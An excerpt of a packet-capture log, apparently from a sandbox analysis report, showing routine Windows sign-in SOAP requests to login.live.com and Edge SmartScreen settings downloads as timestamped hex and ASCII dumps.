2024-11-28 14:17:43 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-28 14:17:43 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 14:17:44 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 14:16:43 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_SN1 x-ms-request-id: 213d8f9f-d8b9-4d45-977a-0690bbff04fa PPServer: PPV: 30 H: SN1PEPF0002FA7D V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 14:17:44 GMT Connection: close Content-Length: 11197
2024-11-28 14:17:44 UTC	11197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49861	40.126.53.19	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:43 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-28 14:17:43 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 14:17:44 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 14:16:43 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BAY x-ms-request-id: b2cbc926-a6f7-48b9-9e58-c4a76239c467 PPServer: PPV: 30 H: PH1PEPF00012003 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 14:17:43 GMT Connection: close Content-Length: 11197
2024-11-28 14:17:44 UTC	11197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49857	40.126.53.19	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:43 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4742 Host: login.live.com
2024-11-28 14:17:43 UTC	4742	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 14:17:44 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 14:16:43 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BL2 x-ms-request-id: 802ed618-d72f-4a8b-8626-eb4a3cafec00 PPServer: PPV: 30 H: BL02EPF0001DA2C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 14:17:43 GMT Connection: close Content-Length: 10197
2024-11-28 14:17:44 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49859	40.126.53.19	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:43 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-28 14:17:43 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 14:17:44 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 14:16:44 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_SN1 x-ms-request-id: dee64627-02a2-4a82-b38f-de10bce24aa0 PPServer: PPV: 30 H: SN1PEPF0002FA74 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 14:17:43 GMT Connection: close Content-Length: 11197
2024-11-28 14:17:44 UTC	11197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49864	13.91.222.61	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:43 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiOXlwemtMOHAwbVRNTkdKaXNzZ3BkUT09IiwgImhhc2giOiI0R1ZEeldmd281OD0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br
2024-11-28 14:17:43 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-28 14:17:44 UTC	302	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:44 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:3d5e3eff-de07-43c3-a15d-06b05ff513c8
2024-11-28 14:17:44 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-28 14:17:44 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-28 14:17:44 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-28 14:17:44 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-28 14:17:44 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-28 14:17:44 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-28 14:17:44 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 